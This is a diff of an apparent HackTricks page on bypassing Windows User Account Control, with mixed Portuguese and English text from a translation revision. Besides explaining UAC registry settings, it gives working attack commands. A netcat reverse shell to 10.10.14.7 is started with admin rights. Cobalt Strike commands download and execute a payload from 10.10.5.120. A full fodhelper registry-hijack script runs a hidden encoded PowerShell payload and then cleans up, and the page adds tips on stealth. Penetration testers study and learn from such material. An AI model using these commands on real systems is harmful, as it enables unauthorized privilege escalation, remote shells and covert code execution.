validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | +| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | -### Teoria de Bypass do UAC +### UAC Bypass Theory -Alguns programas são **autoelevados automaticamente** se o **usuário pertence** ao **grupo de administradores**. Esses binários têm dentro de seus _**Manifests**_ a opção _**autoElevate**_ com valor _**True**_. O binário também precisa ser **assinado pela Microsoft**. +Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also. -Muitos processos de autoelevação expõem **funcionalidade via objetos COM ou servidores RPC**, que podem ser invocados a partir de processos executando com integridade média (privilégios de nível de usuário regular). Note que COM (Modelo de Objeto Componente) e RPC (Chamada de Procedimento Remoto) são métodos que programas do Windows usam para se comunicar e executar funções entre diferentes processos. Por exemplo, **`IFileOperation COM object`** é projetado para lidar com operações de arquivos (copiar, excluir, mover) e pode automaticamente elevar privilégios sem um prompt. +Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt. -Note que algumas verificações podem ser realizadas, como verificar se o processo foi executado a partir do **diretório System32**, que pode ser contornado, por exemplo, **injetando no explorer.exe** ou em outro executável localizado no System32. +Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable. -Outra maneira de contornar essas verificações é **modificar o PEB**. Cada processo no Windows tem um Bloco de Ambiente de Processo (PEB), que inclui dados importantes sobre o processo, como seu caminho executável. Ao modificar o PEB, atacantes podem falsificar (spoof) a localização de seu próprio processo malicioso, fazendo-o parecer que está sendo executado a partir de um diretório confiável (como system32). Essas informações falsificadas enganam o objeto COM para autoelevar privilégios sem solicitar ao usuário. +Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user. -Então, para **contornar** o **UAC** (elevar do nível de integridade **média** **para alta**), alguns atacantes usam esse tipo de binários para **executar código arbitrário** porque será executado a partir de um **processo de alta integridade**. +Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**. -Você pode **verificar** o _**Manifest**_ de um binário usando a ferramenta _**sigcheck.exe**_ do Sysinternals. (`sigcheck.exe -m `) E você pode **ver** o **nível de integridade** dos processos usando _Process Explorer_ ou _Process Monitor_ (do Sysinternals). +You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m `) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals). -### Verificar UAC +### Check UAC -Para confirmar se o UAC está habilitado, faça: +Para confirmar se o UAC está habilitado faça: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Se for **`1`**, então o UAC está **ativado**, se for **`0`** ou **não existir**, então o UAC está **inativo**. +Se for **`1`**, então o UAC está **ativado**, se for **`0`** ou se **não existir**, então o UAC está **inativo**. Em seguida, verifique **qual nível** está configurado: ``` @@ -61,27 +62,27 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Se **`0`**, então, o UAC não solicitará (como **desativado**) -- Se **`1`**, o administrador é **solicitado a fornecer nome de usuário e senha** para executar o binário com altos direitos (no Secure Desktop) -- Se **`2`** (**Sempre me notifique**) o UAC sempre pedirá confirmação ao administrador quando ele tentar executar algo com altos privilégios (no Secure Desktop) -- Se **`3`**, como `1`, mas não necessariamente no Secure Desktop -- Se **`4`**, como `2`, mas não necessariamente no Secure Desktop -- se **`5`**(**padrão**) pedirá ao administrador para confirmar a execução de binários não Windows com altos privilégios +- If **`0`** then, UAC won't prompt (like **disabled**) +- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop) +- If **`2`** (**Sempre notificar-me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop) +- If **`3`** like `1` but not necessary on Secure Desktop +- If **`4`** like `2` but not necessary on Secure Desktop +- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges -Então, você deve olhar o valor de **`LocalAccountTokenFilterPolicy`**\ -Se o valor for **`0`**, então, apenas o usuário **RID 500** (**Administrador embutido**) pode realizar **tarefas administrativas sem UAC**, e se for `1`, **todas as contas dentro do grupo "Administradores"** podem fazê-lo. +Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\ +If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them. -E, finalmente, olhe o valor da chave **`FilterAdministratorToken`**\ -Se **`0`**(padrão), a **conta de Administrador embutido pode** realizar tarefas de administração remota e se **`1`** a conta de Administrador embutido **não pode** realizar tarefas de administração remota, a menos que `LocalAccountTokenFilterPolicy` esteja definido como `1`. +And, finally take a look at the value of the key **`FilterAdministratorToken`**\ +If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`. #### Resumo -- Se `EnableLUA=0` ou **não existir**, **sem UAC para ninguém** -- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=1`, sem UAC para ninguém** -- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=0`, sem UAC para RID 500 (Administrador embutido)** -- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=1`, UAC para todos** +- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** -Todas essas informações podem ser coletadas usando o módulo **metasploit**: `post/windows/gather/win_privs` +All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` Você também pode verificar os grupos do seu usuário e obter o nível de integridade: ``` @@ -91,31 +92,31 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> Note que se você tiver acesso gráfico à vítima, o bypass do UAC é direto, pois você pode simplesmente clicar em "Sim" quando o prompt do UAC aparecer. +> Observe que se você tem acesso gráfico à vítima, o bypass do UAC é simples, pois você pode simplesmente clicar em "Yes" quando o prompt do UAC aparecer -O bypass do UAC é necessário na seguinte situação: **o UAC está ativado, seu processo está sendo executado em um contexto de integridade média e seu usuário pertence ao grupo de administradores**. +O UAC bypass é necessário na seguinte situação: **o UAC está ativado, seu processo está rodando em um contexto de integridade média, e seu usuário pertence ao grupo de administradores**. -É importante mencionar que é **muito mais difícil contornar o UAC se ele estiver no nível de segurança mais alto (Sempre) do que se estiver em qualquer um dos outros níveis (Padrão).** +É importante mencionar que é **muito mais difícil contornar o UAC se ele estiver no nível de segurança mais alto (Always) do que se estiver em qualquer um dos outros níveis (Default).** ### UAC desativado -Se o UAC já estiver desativado (`ConsentPromptBehaviorAdmin` é **`0`**) você pode **executar um shell reverso com privilégios de administrador** (nível de integridade alto) usando algo como: +Se o UAC já estiver desativado (`ConsentPromptBehaviorAdmin` é **`0`**) você pode **executar um reverse shell com privilégios de administrador** (nível de integridade alto) usando algo como: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" ``` -#### Bypass do UAC com duplicação de token +#### UAC bypass with token duplication - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Muito** Básico "bypass" do UAC (acesso total ao sistema de arquivos) +### **Muito** Básico UAC "bypass" (acesso completo ao sistema de arquivos) -Se você tiver um shell com um usuário que está dentro do grupo Administradores, você pode **montar o C$** compartilhado via SMB (sistema de arquivos) local em um novo disco e você terá **acesso a tudo dentro do sistema de arquivos** (até mesmo a pasta inicial do Administrador). +Se você tem uma shell com um usuário que pertence ao grupo Administrators, você pode **montar o compartilhamento C$** via SMB (sistema de arquivos) local em um novo disco e terá **acesso a tudo dentro do sistema de arquivos** (até mesmo a pasta home do Administrator). > [!WARNING] -> **Parece que esse truque não está funcionando mais** +> **Parece que esse truque não funciona mais** ```bash net use Z: \\127.0.0.1\c$ cd C$ @@ -123,9 +124,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### Bypass do UAC com Cobalt Strike +### UAC bypass com cobalt strike -As técnicas do Cobalt Strike só funcionarão se o UAC não estiver configurado no seu nível máximo de segurança. +As técnicas do Cobalt Strike só funcionarão se o UAC não estiver configurado no nível máximo de segurança ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -137,18 +138,19 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** e **Metasploit** também têm vários módulos para **bypass** do **UAC**. +**Empire** e **Metasploit** também possuem vários módulos para **bypass** do **UAC**. ### KRBUACBypass Documentação e ferramenta em [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) -### Exploits de bypass do UAC +### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME) que é uma **compilação** de vários exploits de bypass do UAC. Note que você precisará **compilar o UACME usando o visual studio ou msbuild**. A compilação criará vários executáveis (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), você precisará saber **qual você precisa.**\ -Você deve **ter cuidado** porque alguns bypasses irão **solicitar outros programas** que **alertarão** o **usuário** que algo está acontecendo. +[**UACME** ](https://github.com/hfiref0x/UACME) que é uma **compilation** de vários UAC bypass exploits. Observe que você precisará **compile UACME using visual studio or msbuild**. A compilação criará vários executáveis (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), você precisará saber **qual você precisa.** -O UACME tem a **versão de build a partir da qual cada técnica começou a funcionar**. Você pode procurar por uma técnica que afete suas versões: +Você deve **ter cuidado** porque alguns bypasses irão **iniciar alguns outros programas** que vão **alertar** o **usuário** de que algo está acontecendo. + +UACME indica a **versão de build a partir da qual cada técnica começou a funcionar**. Você pode procurar por uma técnica que afete suas versões: ``` PS C:\> [environment]::OSVersion.Version @@ -156,41 +158,79 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page você obtém a versão do Windows `1607` a partir das versões de build. +Além disso, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) você obtém a versão do Windows `1607` a partir dos números de build. -#### Mais bypass de UAC +### UAC Bypass – fodhelper.exe (Registry hijack) -**Todas** as técnicas usadas aqui para contornar o UAC **requerem** um **shell interativo completo** com a vítima (um shell comum do nc.exe não é suficiente). +O binário confiável `fodhelper.exe` é auto-elevado no Windows moderno. Ao ser executado, ele consulta o caminho de registro por usuário abaixo sem validar o verbo `DelegateExecute`. Plantando um comando ali permite que um processo de Medium Integrity (o usuário está em Administrators) inicie um processo de High Integrity sem um prompt UAC. -Você pode obter usando uma sessão **meterpreter**. Migre para um **processo** que tenha o valor de **Session** igual a **1**: +Caminho de registro consultado por fodhelper: +``` +HKCU\Software\Classes\ms-settings\Shell\Open\command +``` +Passos do PowerShell (defina seu payload, depois acione): +```powershell +# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability +C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" + +# 1) Create the vulnerable key and values +New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null +New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null + +# 2) Set default command to your payload (example: reverse shell or cmd) +# Replace with your base64-encoded PowerShell (or any command) +Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e " -Force + +# 3) Trigger auto-elevation +Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" + +# 4) (Recommended) Cleanup +Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force +``` +Notas: +- Funciona quando o usuário atual é membro de Administrators e o nível do UAC é padrão/leniente (não Always Notify com restrições adicionais). +- Use o caminho `sysnative` para iniciar um PowerShell 64-bit a partir de um processo 32-bit no Windows 64-bit. +- Payload pode ser qualquer comando (PowerShell, cmd, ou um caminho EXE). Evite UIs que solicitem interação para manter sigilo. + +#### More UAC bypass + +**All** the techniques used here to bypass AUC **require** a **full interactive shell** com a vítima (um shell comum nc.exe não é suficiente). + +Você pode obter isso usando uma sessão **meterpreter**. Migre para um **process** que tenha o valor **Session** igual a **1**: ![](<../../images/image (863).png>) -(_explorer.exe_ deve funcionar) +(_explorer.exe_ should works) -### Bypass de UAC com GUI +### UAC Bypass with GUI -Se você tiver acesso a uma **GUI, você pode simplesmente aceitar o prompt do UAC** quando ele aparecer, você realmente não precisa de um bypass. Assim, obter acesso a uma GUI permitirá que você contorne o UAC. +Se você tem acesso a uma **GUI você pode simplesmente aceitar o UAC prompt** quando ele aparecer, você realmente não precisa de um bypass. Portanto, obter acesso a uma GUI permitirá que você bypass o UAC. -Além disso, se você obtiver uma sessão GUI que alguém estava usando (potencialmente via RDP), há **algumas ferramentas que estarão rodando como administrador** de onde você poderia **executar** um **cmd** por exemplo **como admin** diretamente sem ser solicitado novamente pelo UAC como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Isso pode ser um pouco mais **furtivo**. +Além disso, se você obtiver uma sessão GUI que alguém estava usando (potencialmente via RDP) existem **algumas ferramentas que estarão em execução como administrator** das quais você poderia **run** um **cmd** por exemplo **as admin** diretamente sem ser solicitado novamente pelo UAC, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Isso pode ser um pouco mais **stealthy**. -### Bypass de UAC barulhento por força bruta +### Noisy brute-force UAC bypass -Se você não se importa em ser barulhento, você sempre poderia **executar algo como** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **pede para elevar permissões até que o usuário aceite**. +Se você não se importa em ser noisy você sempre pode **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **ask to elevate permissions until the user does accepts it**. -### Seu próprio bypass - Metodologia básica de bypass de UAC +### Your own bypass - Basic UAC bypass methodology -Se você olhar para **UACME**, você notará que **a maioria dos bypasses de UAC abusa de uma vulnerabilidade de Dll Hijacking** (principalmente escrevendo a dll maliciosa em _C:\Windows\System32_). [Leia isso para aprender como encontrar uma vulnerabilidade de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). +Se você der uma olhada no **UACME** você notará que **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Encontre um binário que irá **autoelevar** (verifique se, quando executado, ele roda em um nível de integridade alto). -2. Com procmon, encontre eventos "**NAME NOT FOUND**" que podem ser vulneráveis a **DLL Hijacking**. -3. Você provavelmente precisará **escrever** a DLL dentro de alguns **caminhos protegidos** (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode contornar isso usando: - 1. **wusa.exe**: Windows 7, 8 e 8.1. Ele permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada a partir de um nível de integridade alto). - 2. **IFileOperation**: Windows 10. -4. Prepare um **script** para copiar sua DLL dentro do caminho protegido e executar o binário vulnerável e autoelevado. +1. Encontre um binary que irá **autoelevate** (verifique que ao ser executado ele roda em um nível de integridade alto). +2. Com procmon encontre eventos "**NAME NOT FOUND**" que podem ser vulneráveis a **DLL Hijacking**. +3. Provavelmente você precisará **write** a DLL dentro de alguns **protected paths** (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode bypass isso usando: +1. **wusa.exe**: Windows 7,8 and 8.1. Permite extrair o conteúdo de um CAB file dentro de protected paths (porque essa ferramenta é executada em um nível de integridade alto). +2. **IFileOperation**: Windows 10. +4. Prepare um **script** para copiar sua DLL dentro do protected path e executar o binary vulnerável e autoelevated. -### Outra técnica de bypass de UAC +### Another UAC bypass technique -Consiste em observar se um **binário autoElevado** tenta **ler** do **registro** o **nome/caminho** de um **binário** ou **comando** a ser **executado** (isso é mais interessante se o binário busca essa informação dentro do **HKCU**). +Consiste em observar se um **autoElevated binary** tenta **read** do **registry** o **name/path** de um **binary** ou **command** a ser **executed** (isso é mais interessante se o binary busca essa informação dentro do **HKCU**). + +## Referências +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/) +- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) +- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME) {{#include ../../banners/hacktricks-training.md}}